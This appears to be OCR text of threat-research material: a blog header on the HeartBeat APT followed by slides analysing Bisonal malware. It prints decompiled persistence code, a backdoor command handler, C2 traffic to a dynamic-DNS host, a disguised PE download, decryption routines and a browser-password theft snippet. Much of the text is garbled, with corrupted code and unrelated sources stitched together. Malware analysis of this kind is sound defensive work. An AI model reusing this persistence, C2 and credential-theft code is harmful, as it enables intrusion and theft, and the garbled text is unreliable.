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Home » Targeted Attacks » Pulsing the HeartBeat APT

Pulsing the HeartBeat APT paloaT!_vEQ ¢PRiSMA CORTEX

Secure the Enterprise Secure the Cloud Secure the Future Tt v

Posted on: January 3, 2013 at 8:55am Posted in: Targeted Attacks
Author: Roland Dela Paz (Threat Researcher)

Last November 12-14th, | had this great opportunity to - 78;0%@ (_i‘j'g'a ig < Em éh’r_
attend AVAR 2012 Conference in Hangzhou, China. D '/ S o I t -
There were a lot of great presentations; | must say | feel R B,SO”G’?}LU I F

very privileged to have presented our paper, The
HeartBeat APT Campaign, along with these talks.
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AMMAAT T 1 VN1 7 T aN ]

1M M As$ HKEY_CURRENT USER Microsoft \ Windows \ CurrentVersion \ RunS =~ A

strcpy(&SubKey, aSoftwareMicros);

vo = strlen(aSoftwareMicros); —————
*(&SubKey + v@) = 'R'; — P asoftwareMicros db 'Software\MicPosoft\windowg\CuPrentVePsion\ﬂ
v5[ve] = 'u';

vs[ve + 1] = 'n';

RegOpenKeyExA(HKEY_ CURRENT_USER, &SubkKey, @, ©xF@@3Fu, &phkResult);

result = (FILE *)RegSetValueExA(phkResult, ValueName, @, 2u, Src, strlen((const char *)Src));
if ( Tresult )

{

RegCloseKey(phkResult); 1 4V N1 A 1ANNDM
ExpandEnvironmentStringsA((LPCSTR)Src, Dst, ©x104u); -?ﬂaﬂﬂ@@mB@unKJBGEMSB 3E 4D:; M
. .data:10007031 5Ah ; Z
result = fopen(Dst, Mode); .data:10007032 db 9@h
v2 = result; .data:10007033 do ©
if ( result ) .data:10007034 db 3
{ P|.data:10007035 db o
.data:10007036 db o
fileWrite(&unk 10007630, 1lu, OxCE@Ou, result); .data:10007037 db 0
result = clIose(v2); .data:10007038 db 4
.data:10007039 db @
} } r|:\+:a"lw7ﬂ:lﬂ Ah 2]
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c&CNndno O ©C d~ aAN~ 1

switch ( *v21 )
{ ] ]

case 'c':
CreateThread(@, @, (LPTHREAD START ROUTINE)sendDrivelInfo, @, @, 0);
continue;

case 'd':
CreateThread(@, @8, sendFileInfo, Parameter, @, 9);
continue;

case 'e':
CreateThread(@, @, saveConnectionContentTolLocalFile, Parameter, @, 9);
continue;

case 'f':
CreateThread(@, @, executeFile, Parameter, @, @);
continue;

case 'g’
CreateThread(@, @, deleteFile, Parameter, @, 0);
continue;

case 'h':
CreateThread(@, @, uploadFileToC2, Parameter, @, 9);
continue;

case 'j’
CreateThread(@, @, (LPTHREAD_START_ROUTINE)sendProcessInfo, @, @, 9);
continue;

case '1':
if ( idThread )

PostThreadMessageA( (DWORD)idThread, ©x464u, @, (LPARAM)aMVer);
else
CreateThread(
idThread,

frr=r N2 dvb .. _ _ A
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HTTP/1.1 28@ OK
Date: Fri, 27 Sep 2819 84:36:23 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.8.27 PHP/5.4.45

X-Powered-By: PHP/5.4.45 v ~ > -

Content-Length: 72 A YnM:eM1 1 M Jd4n1)
Content-Type: text/html ' '

: A M1~ 41 :Acrobat.exe
637851557500431813.jpg,C: /Users /helpdeskBBl /AppData/Adobe/Acrobat . exe

GET /6378515575088431813.jpg HTTP/1.1

User-Agent: Mozilla/5.8 (Windows NT 5.2) AppleWebKit/534.380 (KHTML, like Gecko) Chrome/12.8.742.122
Safari/534.30

Host: www.yandex2unitedstated.dynamic-dns.net

Cache-Control: no-cache

HTTP/1.1 288 OK

Date: Fri, 27 Sep 2819 84:36:23 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.8.25 PHP/5.4.45
Last-Modified: Fri, 27 Sep 2819 @4:36:22 GMT

ETag: "a0@@8-593816d99d65f"

Accept-Ranges: bytes

Content-Length: 48968

b ™~
Content-Type: image/jpeg 2 \.l \l \l ’I \.l "l v\l '\‘ n \A
MZ. . e et e e e aaaeeeaaa e .1..L.!'This program cannoct
be run in DOS mode.
S S...2...2...2..5-...2..8 2ox=...2.0 -0 2.0..2,..2..5-...2. .Rich
2 e PE. . L...y. %o, ~
Ao Connnnnnnnnns e v v vt et e e e e e e e e e e e ) SR
text...B|....... e
Iwclat ATt =+ i
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HTTP/1.1 288 0K
Date: Fri, 27 Sep 2819 84:38:54 GMT

Server: Apache/2.4.23 (Win32) OpenS5L/1.8.27 PHP/5.4.45 ]

X-Powered-By: PHP/5.4.45 A > Anv:mM\VUd1T aA)
Content-Length: 18 . N

Content-Type: text/html A a A '\( M\l 41 :cdAdobe

m
cd AdobeP0OST /news.php HTTP/1.1

HTTP/1.1 288 OK
Date: Fri, 27 Sep 2819 84:39:17 GMT
Server: Apache/2.4.23 (Win32) Open55L/1.8.27 PHP/5.4.45

X-Powered-By: PHP/5.4.45 A 7 AnM:-mMVUd1 aA)
Content-Length: 13 ” <
O e O e AaAN M\l J 1 : Acrobat.exe

m
Acrobat.exePOST /news.php HTTP/1.1
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C&CN' nMdn>" A7 HTTPNA4AM1~ 1~ 1

Fig.) MU d1 = A A7 MAN VA Fig.) M\ J 1 TN AT MAN VA

bGET /news.php?type=28hash=2eB8167ef3a43e9cdb6158e5850b007d83&4time=13:38:02 HTTP/1.1

User-Agent: Mozilla/5.8 (Windows NT 5.2) ApplebebKit/534.38 (KHTML, like Gecko) Chrome/12.8.742.122
Safari/534.38

Host: www.yandex2unitedstated.dynamic-dns.net

Cache-Control: no-cache

jPOST /news.php HTTP/1.1

Content-Type: multipart/form-data; boundary=-------------~-~—~—~—~—~—~—~—~—~~—~——- 7db29f2148360

Referer: upfile

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; WOW64; Trident/4.8; SLCC2; .MET CLR
2.8.58727; .NET CLR 3.5.38729; .NET CLR 3.0.38729; Media Center PC 6.8; .NET4.0C; .NET4.8E)

HTTP/1.1 280 OK Host: www.yandex2unitedstated.dynamic-dns.net

Date: Fri, 27 Sep 2019 84:38:14 GMT Content-Length: 9985

Server: Apache/2.4.23 (Win32) OpenSSL/1.8.2j PHP/5.4.45 Cache-Control: no-cache

X-Powered-By: PHP/5.4.45

Content-Length: 12 e 7db29f2148368

Content-Type: text/html Content-Disposition: form-data; name="myfile"; filename="2eBl67ef3a43e9cdbl50e5850bBB7dE3.gif"

Content-Type: image/pjpeg

A GEN Y \ 1
A URNM $newsphpS 173  NAAnM
A type:1( ~5M\'qqm) A POSTI Y \ 1
2( "aAT  An1) A URIN M $ news.phpS
A hash:mac 1 1M md5 A Referér $ upfileS

A time: T YMAITAA AMAUY1 &N RETR X
MnX$éparaS® ~ JSON b5~

J

{ "paral": "8", "para2": "[System Process]", "para3": "SYSTEM"}
1 "paral™: "4", "para2": "System", "para3": "SYSTEM"}

{ "paral": "284", "para2": "smss.exe", "para3": "N"}

21/72
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s T y =TT R Ll M |

.data:0040E080 Format db '%02x',0 ; DATA XREF: make_hash_su
.data:0040E085 align 4

.data:0040E088 a3853ed273b8968 db '3853ed273b89687',0

.data:0040E098 alWwwYandex2unit db 'www.yandex2unitedstated.dynamic-dns.net',0
.data:0040E098 5 DATA XREF: setserverNan
.data:0040E098 ; setServerName _sub 403F(
data:0040E8A0 ; char aHttpSDSType2Hal ]

data:0040E8A0 aHttpSDSType2Ha db 'http://%s:%d/%s?type=2&hash=%s&time=%s",0Ah,0
data:0040E8A0 ; DATA XREF: mainbody_ sub_4¢
data:0040E8C8 ; char aMd5SNameSIpSOs| ]

data:0040E8CS8 aMd5SNameSIpSOs db '{ "md5": "%s", "Name": "%s","IP": "%s","0S": "7%3
data:0040E8CS8 ; DATA XREF: mainbody_ sub_4¢
data:0040E8CS8 db '"Note": "%s","In_IP": ',0

data:0040E920 aPostInfo db 'post_info',0 ; DATA XREF: mainbody_ sub_4¢
data:0040E920 ; mainbody sub_ 408E10+1DETo
data:0040E92A align 4

data:0040E92C ; char aHttpSDSTypelHa| ]

data:0040E92C aHttpSDSTypelHa db 'http://%s:%d/%s?type=1&hash=%s&time=%s",0Ah,0
data:0040E92C ; DATA XREF: mainbody_ sub_4¢
data:0040E954 align 106h

22/72
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Fig. ) Acrobat.exe(2

(®) NTTSecurity

SYNTT ) M

1

{

FaWaWat o mifal

switch ( vi14 )

case 2:
cmd2_setDataOfSendSystemInfo(vils);
break;

case 3:
cmd3_sendLocalProcInfo(vis);
break;

case 5:
cmd5_sendTickCount(vis);
break;

case 6:
cmd6_maybeSendLocalDriveCnt(vi15);
break:

Acrobag.exe ’
ST
N,

/

26/72



2 MV N1 MUY (©) NTTSecurity

EEN

2 ~ AnM  prefix 12 M1 747 M Jd4n1
3 y4vyy 7 13, 15 M1 T 47 T NN 40
5 Y MAIANA T 16 M1 4
6 147 M1 7 7 17 VY VA 8
7 M1 7 18 YYIVAYMYMMT Ny T
9 VIERVA') 19 M1 4 aA
10, 11 MU d1  aA (cmd.exe) 20 VYV A N4n M

21 42\44_}4\4:

A VR

2772
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A MnA T YdMNT T 4ANAMIXA41 v 1]
R 2 . r [5] . = 2
Fig. ) Bisonal 1 JdMn1 Fig.) 2 84\ N1 T4 Mni
d |"suﬁ" 501 “'l"(ZC"XtRJPIGGVf UREEJFFH VT R
unsigned intoh llh'll(ln|'.l chaf V4 = =13 memSEt(VleJ 9, su.zeof(vl@));
¢ uS = (int)"Host: www.google.comkr vil = @;
unsigned int v2; /77 esig d .
signed int v33 /7 ebx@ ” vi2 = @;
const char sulh; // edxi2 ( if ( v ) = -
char vS; // al@3 _ . —
unsigned intéh results /7 qoxia brea"; V3 - 1213J 1 2 13—OX4 B D
int i; 7/ edins u6 = u( BYTE =)yuSes == §; 1 strlent(
char v8; // [sp+1sh] [bp-h0oh]E1 -—ylys
char v9; /7 [sp+*15h] [bp-3FFh]E1 ) 4 ] "
__int16 v18; /7 [spruith bp-3h @1 ub % Vi = alj; —
char 0115 // [«p+ .,1: h] [bp-1h)@n :?iftrf.u:)( )i do ’ l IY \-l n
ol = 0 vg = u7; { - - -
memset(Gu?, 0, Ox3FCu); v9 = (const void =)(v5 - v7); VG = V4[1] + 26 * *yd + 37;
vig = 9; vig = -1; . 2 - —
uit - 8 u11 = (int)szHeaders; VA 4= 25 B r /-l
* = .
m ] OX4BD o s ) = s ISONa
if ( el while ( v2 < strlen(al) >> 1 );
o AhnLab )
do uh = #( BYTE =)uliss == @; X
¢ ——u10; ve = 0i64;
i o ot if ( strlen(al) & OXFFFFFFFE )
o(GUB ¢ uZes) = uS; mile ( tvé ); {
? nencpy((void =)(vi1 - 1), v9, u8) _ .
while ( v2 < strlen(at) > 1 ); w12 ':9_1; LODNORP(VG) = &v9; 4
,),_ P v13 = (int)"Connection: Keep-Aliv for (i =22 - (_DWORD)&v9; ; i = a2 - (_DWORD)&9 )
if ( strien(sl) & OxFFEFEFFE ) do { ) )
¢ { : LOWORD(v6E) = (unsigned __ int8)*(&v9 + HIDWORD(VE));
LODNORD(result) = &uS; s _ A .
For ( i = a2 - ( DMORD)&uS; 3 i = a2 - ( DWORD)&US ) *(&vS + HIDWORD(vE) + i) = v6 ~ BYTE1(v3);
¢ v3 = Ox58BF - 0x3193 * (v3 + v6);
LOMORD(result) = (unsigned intf)s(tul ¢ HIDNORD(resull)); —
o(ful * HIDMORD(result) + i) = result ® BYTEN(v3); LODNORD(VG)
vl = OxSSBF - 0x3193 » (v3 * result); ++HIDNORD(V6)}
result = _PAIR__(HIDWORD(result), 8) + 4294967296164; if ( HIDWORD(v6) >= strlen(al) >> 1 )
1F ( HIDWORD(resull) >= strlen(at) >> 1)
break; break;
]
; }
return result; }
¥ return ve;
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AT AN AMT I

Fig.) 2 SV N1~ AMn1 & Fig. ) PostScript Typel Font Format ~ " Mn1®E
Zi z :SL.f::‘i;an(al) & OXFFFFFFFE ) unsigned short int r;
(= = unsigned short int ¢c1 = 52845;
% unsigned short int c2 = 22719;
vh = vA[1] + 26 * *v4 + 37;
A A? unsigned char Decrypt(cipher) unsigned char cipher;
y o {unsigned char plain;
) while ( v2 < strlen(zal) >> 1 ); plain _ (cipher A (r>>8));

!i ? 2‘iciién(a1) & OXFFFFFFFE ) r= (Clpher + I') fcl+c2;
‘ LODWORP(VG) = &v9; ) return plaln; C1:52845:OX588F
for ( i = a2 - (_DWORD)&v9; ; i = a2 - ( DWORD)&v9 ) }
{ LOWORD(v6) = (unsigned _ int8)*(&v9 + HIDWORD(VvE)); C2:227 19: = OX3193
*(& - 1) = v6e ~ BYTEL(v3);
v3 E Ox58BF - Ox3193f* (v3 + v6);
LODWORD(V6) ==
it Croworot] OXD8BF -0x3193
b k;
) rea
g‘etur‘n v6; 29/72
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T ANMXYXIMMIN

int __cdecl rc4_ksa(int al, unsigned int a2)
{
int j; // esi
int ii; // ecx
unsigned int i_1; // edx
int i; // eax
char ve; // cl
char v7; [/ [esp+Bh] [ebp-81h]
char key; // [esp+Ch] [ebp-86h]
char v9[124]; // [esp+Dh] [ebp-7Fh]
__intle v1e; // [esp+89h] [ebp-3h]
char v11; // [esp+8Bh] [ebp-1h]

SBOX AN X

256D 128" VMM 1N\

key = 0;
memset(v9, @, sizeof(v9));
v1ie = 9;
vlil = @;
j=e;
for ( ii = @; iv7 + ii) = *(_BYTE *)(i_1 + al) )
i1 =41i % a2;
RC4_SBOX[i1] = ii;
++1ii;
¥
for (1 =0; i < 128; ++i )
{
v6 = RC4_SBOX[i];

j = ((unsigned _ int8)RC4_SBOX[i] + (unsigned _ int8)*(&key + i) + j
RC4_SBOX[i] = RC4_SBOX[1;
RC4_SBOX[i] = v6;

¥

return 1i;

% 128;
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2 4NV N1 > A" Bisonal® a1
BinDifff 41X~ Wi Mn1 x4 "7 9.
CMVUd1T 4 7 jC&NNNN A7 1474 1 79

—"\
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2 94V N1 4 47 07

ird e [ ~ AN

C&CN ndn’ A~ ~ von A ’ 71
Fig.)2 4V N177 Fig.)3 SV N1~
YJdMn1 N vonA YdMn1N " MnA
decode(aEabgfhdceqggdc, (in"t)name); é;é_4aii38(aEabgfhdcqugdc_, (int)name);
decode(aEabgfhdceqggdc_@, (int)v20); sub_401138(aEabgfhdceqggdc 0, (int)v2e);
decode(aCiiu, (int)String); sub_4011308(aBwatfin, (int)string);
ClluU —— 80 BWATFM —» 443
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~ ]

changeip® 7 9 DynamicDNS 114~ 4 XC& N ndn~ " 1N 1

Fig.)1 S8V N1~ 17 Fig.)2 SV N1~ 27

Z www yandexZ2unitedstated dynamic-dns._net
lovehome zzux.com

Whois Lookup
Whois Lookup

Admin Citw: miami

: . Admin Citw: miami
'ﬂ'dm!n EDL"TIt rys U3 . Sdmin Country: US
Admin Email: 3cidazdihoebfealslchangeip. con Adnin Email: 3c3d334158ebfealsBchanzeip. con
fdmin Organization: changeip.com Sdmin Organization: chanzeip.com
ddmin Postal Codes 32121 fdmin Postal Code: 33131

, , ] , Admin Statef/Province: florida
Adnin State/Province: florida Creation Date: 2000-11-15T04:17:082
Creation Date: 2000-08-07T22:58:347 DNSSEC: Unszigned
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pythonMn1~ aAMI 4~ R T |

58 OL 00 00 2E 70 79 00 5F 5F 66 €9 6C €5 5F 5F X....py. file
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€5 57 00 00 46 €1 69 €C €5 €4 20 74 6F 20 €3 6F eW..Failed to co
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€3 €F 64 €5 46 €C 61 €7 00 00 00 00 46 €1 €% 6C codeFlag....Fail
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@ NTT Security

cursor = conn.cursor()
except Exception as e:
print (
'DEBUG', str(e))

Erint {'EBRCR',

u'An error occured opeggpq the database file'

use:name_va;ue, passwo:d_va;ue FROM logins')

continue

try:
cursor.execute ('SELECT a:tion_u:;,

except:
coentinue

frr reconnlt dwm 1 r fetrh=a11 0% -

r
? L ~ ™~ ~ - N 7 ~
/l a 7. D I
.

N1 N

1T\ M n M

ta(result[2])
1,

print ('DEBUG', traceback.format exc())

conn.close ()
if database_path.endswith{random_dbname}:
os.remove (database path)
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